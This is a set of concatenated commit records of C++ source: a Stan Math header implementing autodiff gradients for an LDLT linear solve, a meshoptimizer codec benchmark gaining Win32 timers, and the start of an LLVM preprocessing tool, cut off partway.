 }\n\n  virtual void chain() {\n    matrix_d adjC = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n\n    const_cast<matrix_vi &>(alloc_ldlt_->variA_).adj()\n        -= alloc_ldlt_->ldlt_.solve(adjC * alloc_->C_.transpose());\n  }\n};\n}  \/\/ namespace internal\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<var, R1, C1> &A, const Eigen::Matrix<var, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_vv_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_vv_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<var, R1, C1> &A, const Eigen::Matrix<double, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_vd_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_vd_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<double, R1, C1> &A, const Eigen::Matrix<var, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_dv_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_dv_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<commit_msg>one more use of boost::shared_ptr<commit_after>#ifndef STAN_MATH_REV_FUN_MDIVIDE_LEFT_LDLT_HPP\n#define STAN_MATH_REV_FUN_MDIVIDE_LEFT_LDLT_HPP\n\n#include <stan\/math\/rev\/meta.hpp>\n#include <stan\/math\/rev\/core.hpp>\n#include <stan\/math\/rev\/fun\/LDLT_alloc.hpp>\n#include <stan\/math\/rev\/fun\/LDLT_factor.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/typedefs.hpp>\n#include <memory>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_alloc : public chainable_alloc {\n public:\n  virtual ~mdivide_left_ldlt_alloc() {}\n\n  \/**\n   * This share_ptr is used to prevent copying the LDLT factorizations\n   * for mdivide_left_ldlt(ldltA, b) when ldltA is a LDLT_factor<double>.\n   * The pointer is shared with the LDLT_factor<double> class.\n   **\/\n  std::shared_ptr<Eigen::LDLT<Eigen::Matrix<double, R1, C1> > > ldltP_;\n  Eigen::Matrix<double, R2, C2> C_;\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the var\/var case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_vv_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefB_;\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n  const LDLT_alloc<R1, C1> *alloc_ldlt_;\n\n  mdivide_left_ldlt_vv_vari(const LDLT_factor<var, R1, C1> &A,\n                            const Eigen::Matrix<var, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefB_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()),\n        alloc_ldlt_(A.alloc_) {\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_) = B.vi();\n    alloc_->C_ = B.val();\n    alloc_ldlt_->ldlt_.solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n  }\n\n  virtual void chain() {\n    matrix_d adjB = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n\n    alloc_ldlt_->ldlt_.solveInPlace(adjB);\n\n    const_cast<matrix_vi &>(alloc_ldlt_->variA_).adj()\n        -= adjB * alloc_->C_.transpose();\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_).adj() += adjB;\n  }\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the double\/var case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_dv_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefB_;\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n\n  mdivide_left_ldlt_dv_vari(const LDLT_factor<double, R1, C1> &A,\n                            const Eigen::Matrix<var, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefB_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()) {\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_) = B.vi();\n    alloc_->C_ = B.val();\n    alloc_->ldltP_ = A.ldltP_;\n    alloc_->ldltP_->solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n  }\n\n  virtual void chain() {\n    matrix_d adjB = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n    alloc_->ldltP_->solveInPlace(adjB);\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_).adj() += adjB;\n  }\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the var\/double case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_vd_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n  const LDLT_alloc<R1, C1> *alloc_ldlt_;\n\n  mdivide_left_ldlt_vd_vari(const LDLT_factor<var, R1, C1> &A,\n                            const Eigen::Matrix<double, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()),\n        alloc_ldlt_(A.alloc_) {\n    alloc_->C_ = B;\n    alloc_ldlt_->ldlt_.solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n  }\n\n  virtual void chain() {\n    matrix_d adjC = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n\n    const_cast<matrix_vi &>(alloc_ldlt_->variA_).adj()\n        -= alloc_ldlt_->ldlt_.solve(adjC * alloc_->C_.transpose());\n  }\n};\n}  \/\/ namespace internal\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<var, R1, C1> &A, const Eigen::Matrix<var, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_vv_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_vv_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<var, R1, C1> &A, const Eigen::Matrix<double, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_vd_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_vd_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n\/**\n * Returns the solution of the system Ax=b given an LDLT_factor of A\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\n * @param A LDLT_factor\n * @param b Right hand side matrix or vector.\n * @return x = A^-1 b, solution of the linear system.\n * @throws std::domain_error if rows of b don't match the size of A.\n *\/\ntemplate <int R1, int C1, int R2, int C2>\ninline Eigen::Matrix<var, R1, C2> mdivide_left_ldlt(\n    const LDLT_factor<double, R1, C1> &A, const Eigen::Matrix<var, R2, C2> &b) {\n  check_multiplicable(\"mdivide_left_ldlt\", \"A\", A, \"b\", b);\n  if (A.cols() == 0) {\n    return {0, b.cols()};\n  }\n\n  internal::mdivide_left_ldlt_dv_vari<R1, C1, R2, C2> *baseVari\n      = new internal::mdivide_left_ldlt_dv_vari<R1, C1, R2, C2>(A, b);\n\n  Eigen::Matrix<var, R1, C2> res(b.rows(), b.cols());\n  res.vi() = Eigen::Map<matrix_vi>(baseVari->variRefC_, res.rows(), res.cols());\n\n  return res;\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/src\/meshoptimizer.h\"\n\n#include <vector>\n\n#include <time.h>\n#include <stdint.h>\n#include <stdio.h>\n\n#ifdef __EMSCRIPTEN__\n#include <emscripten.h>\n\ndouble timestamp()\n{\n\treturn emscripten_get_now() * 1e-3;\n}\n#else\ndouble timestamp()\n{\n\ttimespec ts;\n\tclock_gettime(CLOCK_MONOTONIC, &ts);\n\treturn double(ts.tv_sec) + 1e-9 * double(ts.tv_nsec);\n}\n#endif\n\nstruct Vertex\n{\n\tuint16_t data[16];\n};\n\nuint32_t murmur3(uint32_t h)\n{\n\th ^= h >> 16;\n\th *= 0x85ebca6bu;\n\th ^= h >> 13;\n\th *= 0xc2b2ae35u;\n\th ^= h >> 16;\n\n\treturn h;\n}\n\nvoid benchCodecs(const std::vector<Vertex>& vertices, const std::vector<unsigned int>& indices)\n{\n\tstd::vector<Vertex> vb(vertices.size());\n\tstd::vector<unsigned int> ib(indices.size());\n\n\tstd::vector<unsigned char> vc(meshopt_encodeVertexBufferBound(vertices.size(), sizeof(Vertex)));\n\tstd::vector<unsigned char> ic(meshopt_encodeIndexBufferBound(indices.size(), vertices.size()));\n\n\tprintf(\"source: vertex data %d bytes, index data %d bytes\\n\", int(vertices.size() * sizeof(Vertex)), int(indices.size() * 4));\n\n\tfor (int pass = 0; pass < 2; ++pass)\n\t{\n\t\tif (pass == 1)\n\t\t\tmeshopt_optimizeVertexCacheStrip(&ib[0], &indices[0], indices.size(), vertices.size());\n\t\telse\n\t\t\tmeshopt_optimizeVertexCache(&ib[0], &indices[0], indices.size(), vertices.size());\n\n\t\tmeshopt_optimizeVertexFetch(&vb[0], &ib[0], indices.size(), &vertices[0], vertices.size(), sizeof(Vertex));\n\n\t\tvc.resize(vc.capacity());\n\t\tvc.resize(meshopt_encodeVertexBuffer(&vc[0], vc.size(), &vb[0], vertices.size(), sizeof(Vertex)));\n\n\t\tic.resize(ic.capacity());\n\t\tic.resize(meshopt_encodeIndexBuffer(&ic[0], ic.size(), &ib[0], indices.size()));\n\n\t\tprintf(\"pass %d: vertex data %d bytes, index data %d bytes\\n\", pass, int(vc.size()), int(ic.size()));\n\n\t\tfor (int attempt = 0; attempt < 10; ++attempt)\n\t\t{\n\t\t\tdouble t0 = timestamp();\n\n\t\t\tint rv = meshopt_decodeVertexBuffer(&vb[0], vertices.size(), sizeof(Vertex), &vc[0], vc.size());\n\t\t\tassert(rv == 0);\n\t\t\t(void)rv;\n\n\t\t\tdouble t1 = timestamp();\n\n\t\t\tint ri = meshopt_decodeIndexBuffer(&ib[0], indices.size(), 4, &ic[0], ic.size());\n\t\t\tassert(ri == 0);\n\t\t\t(void)ri;\n\n\t\t\tdouble t2 = timestamp();\n\n\t\t\tdouble GB = 1024 * 1024 * 1024;\n\n\t\t\tprintf(\"decode: vertex %.2f ms (%.2f GB\/sec), index %.2f ms (%.2f GB\/sec)\\n\",\n\t\t\t\t(t1 - t0) * 1000, double(vertices.size() * sizeof(Vertex)) \/ GB \/ (t1 - t0),\n\t\t\t\t(t2 - t1) * 1000, double(indices.size() * 4) \/ GB \/ (t2 - t1));\n\t\t}\n\t}\n}\n\nvoid benchFilters(size_t count)\n{\n\t\/\/ note: the filters are branchless so we just run them on runs of zeroes\n\tsize_t count4 = (count + 3) & ~3;\n\tstd::vector<unsigned char> d4(count4 * 4);\n\tstd::vector<unsigned char> d8(count4 * 8);\n\n\tprintf(\"filters: oct8 data %d bytes, oct12\/quat12 data %d bytes\\n\", int(d4.size()), int(d8.size()));\n\n\tfor (int attempt = 0; attempt < 10; ++attempt)\n\t{\n\t\tdouble t0 = timestamp();\n\n\t\tmeshopt_decodeFilterOct(&d4[0], count4, 4);\n\n\t\tdouble t1 = timestamp();\n\n\t\tmeshopt_decodeFilterOct(&d8[0], count4, 8);\n\n\t\tdouble t2 = timestamp();\n\n\t\tmeshopt_decodeFilterQuat(&d8[0], count4, 8);\n\n\t\tdouble t3 = timestamp();\n\n\t\tmeshopt_decodeFilterExp(&d8[0], count4, 8);\n\n\t\tdouble t4 = timestamp();\n\n\t\tdouble GB = 1024 * 1024 * 1024;\n\n\t\tprintf(\"filter: oct8 %.2f ms (%.2f GB\/sec), oct12 %.2f ms (%.2f GB\/sec), quat12 %.2f ms (%.2f GB\/sec), exp %.2f ms (%.2f GB\/sec)\\n\",\n\t\t\t(t1 - t0) * 1000, double(d4.size()) \/ GB \/ (t1 - t0),\n\t\t\t(t2 - t1) * 1000, double(d8.size()) \/ GB \/ (t2 - t1),\n\t\t\t(t3 - t2) * 1000, double(d8.size()) \/ GB \/ (t3 - t2),\n\t\t\t(t4 - t3) * 1000, double(d8.size()) \/ GB \/ (t4 - t3));\n\t}\n}\n\nint main()\n{\n\tmeshopt_encodeIndexVersion(1);\n\n\tconst int N = 1000;\n\n\tstd::vector<Vertex> vertices;\n\tvertices.reserve((N + 1) * (N + 1));\n\n\tfor (int x = 0; x <= N; ++x)\n\t{\n\t\tfor (int y = 0; y <= N; ++y)\n\t\t{\n\t\t\tVertex v;\n\n\t\t\tfor (int k = 0; k < 16; ++k)\n\t\t\t{\n\t\t\t\tuint32_t h = murmur3((x * (N + 1) + y) * 16 + k);\n\n\t\t\t\t\/\/ use random k-bit sequence for each word to test all encoding types\n\t\t\t\t\/\/ note: this doesn't stress the sentinel logic too much but it's all branchless so it's probably fine?\n\t\t\t\tv.data[k] = h & ((1 << k) - 1);\n\t\t\t}\n\n\t\t\tvertices.push_back(v);\n\t\t}\n\t}\n\n\tstd::vector<unsigned int> indices;\n\tindices.reserve(N * N * 6);\n\n\tfor (int x = 0; x < N; ++x)\n\t{\n\t\tfor (int y = 0; y < N; ++y)\n\t\t{\n\t\t\tindices.push_back((x + 0) * N + (y + 0));\n\t\t\tindices.push_back((x + 1) * N + (y + 0));\n\t\t\tindices.push_back((x + 0) * N + (y + 1));\n\n\t\t\tindices.push_back((x + 0) * N + (y + 1));\n\t\t\tindices.push_back((x + 1) * N + (y + 0));\n\t\t\tindices.push_back((x + 1) * N + (y + 1));\n\t\t}\n\t}\n\n\tbenchCodecs(vertices, indices);\n\tbenchFilters(8 * N * N);\n}\n<commit_msg>tools: Add Win32 timers to codecbench<commit_after>#include \"..\/src\/meshoptimizer.h\"\n\n#include <vector>\n\n#include <time.h>\n#include <stdint.h>\n#include <stdio.h>\n\n#ifdef __EMSCRIPTEN__\n#include <emscripten.h>\n\ndouble timestamp()\n{\n\treturn emscripten_get_now() * 1e-3;\n}\n#elif defined(_WIN32)\nstruct LARGE_INTEGER\n{\n\t__int64 QuadPart;\n};\nextern \"C\" __declspec(dllimport) int __stdcall QueryPerformanceCounter(LARGE_INTEGER* lpPerformanceCount);\nextern \"C\" __declspec(dllimport) int __stdcall QueryPerformanceFrequency(LARGE_INTEGER* lpFrequency);\n\ndouble timestamp()\n{\n\tLARGE_INTEGER freq, counter;\n\tQueryPerformanceFrequency(&freq);\n\tQueryPerformanceCounter(&counter);\n\treturn double(counter.QuadPart) \/ double(freq.QuadPart);\n}\n#else\ndouble timestamp()\n{\n\ttimespec ts;\n\tclock_gettime(CLOCK_MONOTONIC, &ts);\n\treturn double(ts.tv_sec) + 1e-9 * double(ts.tv_nsec);\n}\n#endif\n\nstruct Vertex\n{\n\tuint16_t data[16];\n};\n\nuint32_t murmur3(uint32_t h)\n{\n\th ^= h >> 16;\n\th *= 0x85ebca6bu;\n\th ^= h >> 13;\n\th *= 0xc2b2ae35u;\n\th ^= h >> 16;\n\n\treturn h;\n}\n\nvoid benchCodecs(const std::vector<Vertex>& vertices, const std::vector<unsigned int>& indices)\n{\n\tstd::vector<Vertex> vb(vertices.size());\n\tstd::vector<unsigned int> ib(indices.size());\n\n\tstd::vector<unsigned char> vc(meshopt_encodeVertexBufferBound(vertices.size(), sizeof(Vertex)));\n\tstd::vector<unsigned char> ic(meshopt_encodeIndexBufferBound(indices.size(), vertices.size()));\n\n\tprintf(\"source: vertex data %d bytes, index data %d bytes\\n\", int(vertices.size() * sizeof(Vertex)), int(indices.size() * 4));\n\n\tfor (int pass = 0; pass < 2; ++pass)\n\t{\n\t\tif (pass == 1)\n\t\t\tmeshopt_optimizeVertexCacheStrip(&ib[0], &indices[0], indices.size(), vertices.size());\n\t\telse\n\t\t\tmeshopt_optimizeVertexCache(&ib[0], &indices[0], indices.size(), vertices.size());\n\n\t\tmeshopt_optimizeVertexFetch(&vb[0], &ib[0], indices.size(), &vertices[0], vertices.size(), sizeof(Vertex));\n\n\t\tvc.resize(vc.capacity());\n\t\tvc.resize(meshopt_encodeVertexBuffer(&vc[0], vc.size(), &vb[0], vertices.size(), sizeof(Vertex)));\n\n\t\tic.resize(ic.capacity());\n\t\tic.resize(meshopt_encodeIndexBuffer(&ic[0], ic.size(), &ib[0], indices.size()));\n\n\t\tprintf(\"pass %d: vertex data %d bytes, index data %d bytes\\n\", pass, int(vc.size()), int(ic.size()));\n\n\t\tfor (int attempt = 0; attempt < 10; ++attempt)\n\t\t{\n\t\t\tdouble t0 = timestamp();\n\n\t\t\tint rv = meshopt_decodeVertexBuffer(&vb[0], vertices.size(), sizeof(Vertex), &vc[0], vc.size());\n\t\t\tassert(rv == 0);\n\t\t\t(void)rv;\n\n\t\t\tdouble t1 = timestamp();\n\n\t\t\tint ri = meshopt_decodeIndexBuffer(&ib[0], indices.size(), 4, &ic[0], ic.size());\n\t\t\tassert(ri == 0);\n\t\t\t(void)ri;\n\n\t\t\tdouble t2 = timestamp();\n\n\t\t\tdouble GB = 1024 * 1024 * 1024;\n\n\t\t\tprintf(\"decode: vertex %.2f ms (%.2f GB\/sec), index %.2f ms (%.2f GB\/sec)\\n\",\n\t\t\t\t(t1 - t0) * 1000, double(vertices.size() * sizeof(Vertex)) \/ GB \/ (t1 - t0),\n\t\t\t\t(t2 - t1) * 1000, double(indices.size() * 4) \/ GB \/ (t2 - t1));\n\t\t}\n\t}\n}\n\nvoid benchFilters(size_t count)\n{\n\t\/\/ note: the filters are branchless so we just run them on runs of zeroes\n\tsize_t count4 = (count + 3) & ~3;\n\tstd::vector<unsigned char> d4(count4 * 4);\n\tstd::vector<unsigned char> d8(count4 * 8);\n\n\tprintf(\"filters: oct8 data %d bytes, oct12\/quat12 data %d bytes\\n\", int(d4.size()), int(d8.size()));\n\n\tfor (int attempt = 0; attempt < 10; ++attempt)\n\t{\n\t\tdouble t0 = timestamp();\n\n\t\tmeshopt_decodeFilterOct(&d4[0], count4, 4);\n\n\t\tdouble t1 = timestamp();\n\n\t\tmeshopt_decodeFilterOct(&d8[0], count4, 8);\n\n\t\tdouble t2 = timestamp();\n\n\t\tmeshopt_decodeFilterQuat(&d8[0], count4, 8);\n\n\t\tdouble t3 = timestamp();\n\n\t\tmeshopt_decodeFilterExp(&d8[0], count4, 8);\n\n\t\tdouble t4 = timestamp();\n\n\t\tdouble GB = 1024 * 1024 * 1024;\n\n\t\tprintf(\"filter: oct8 %.2f ms (%.2f GB\/sec), oct12 %.2f ms (%.2f GB\/sec), quat12 %.2f ms (%.2f GB\/sec), exp %.2f ms (%.2f GB\/sec)\\n\",\n\t\t\t(t1 - t0) * 1000, double(d4.size()) \/ GB \/ (t1 - t0),\n\t\t\t(t2 - t1) * 1000, double(d8.size()) \/ GB \/ (t2 - t1),\n\t\t\t(t3 - t2) * 1000, double(d8.size()) \/ GB \/ (t3 - t2),\n\t\t\t(t4 - t3) * 1000, double(d8.size()) \/ GB \/ (t4 - t3));\n\t}\n}\n\nint main()\n{\n\tmeshopt_encodeIndexVersion(1);\n\n\tconst int N = 1000;\n\n\tstd::vector<Vertex> vertices;\n\tvertices.reserve((N + 1) * (N + 1));\n\n\tfor (int x = 0; x <= N; ++x)\n\t{\n\t\tfor (int y = 0; y <= N; ++y)\n\t\t{\n\t\t\tVertex v;\n\n\t\t\tfor (int k = 0; k < 16; ++k)\n\t\t\t{\n\t\t\t\tuint32_t h = murmur3((x * (N + 1) + y) * 16 + k);\n\n\t\t\t\t\/\/ use random k-bit sequence for each word to test all encoding types\n\t\t\t\t\/\/ note: this doesn't stress the sentinel logic too much but it's all branchless so it's probably fine?\n\t\t\t\tv.data[k] = h & ((1 << k) - 1);\n\t\t\t}\n\n\t\t\tvertices.push_back(v);\n\t\t}\n\t}\n\n\tstd::vector<unsigned int> indices;\n\tindices.reserve(N * N * 6);\n\n\tfor (int x = 0; x < N; ++x)\n\t{\n\t\tfor (int y = 0; y < N; ++y)\n\t\t{\n\t\t\tindices.push_back((x + 0) * N + (y + 0));\n\t\t\tindices.push_back((x + 1) * N + (y + 0));\n\t\t\tindices.push_back((x + 0) * N + (y + 1));\n\n\t\t\tindices.push_back((x + 0) * N + (y + 1));\n\t\t\tindices.push_back((x + 1) * N + (y + 0));\n\t\t\tindices.push_back((x + 1) * N + (y + 1));\n\t\t}\n\t}\n\n\tbenchCodecs(vertices, indices);\n\tbenchFilters(8 * N * N);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/ crabllvm-pp -- LLVM bitcode Pre-Processor for static analysis\n\/\/\/\n\n#include \"llvm\/LinkAllPasses.h\"\n#include \"llvm\/PassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/ToolOutputFile.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Bitcode\/ReaderWriter.h\"\n#include \"llvm\/Bitcode\/BitcodeWriterPass.h\"\n\n#include \"crab_llvm\/config.h\"\n#include \"crab_llvm\/Passes.hh\"\n\n#ifdef 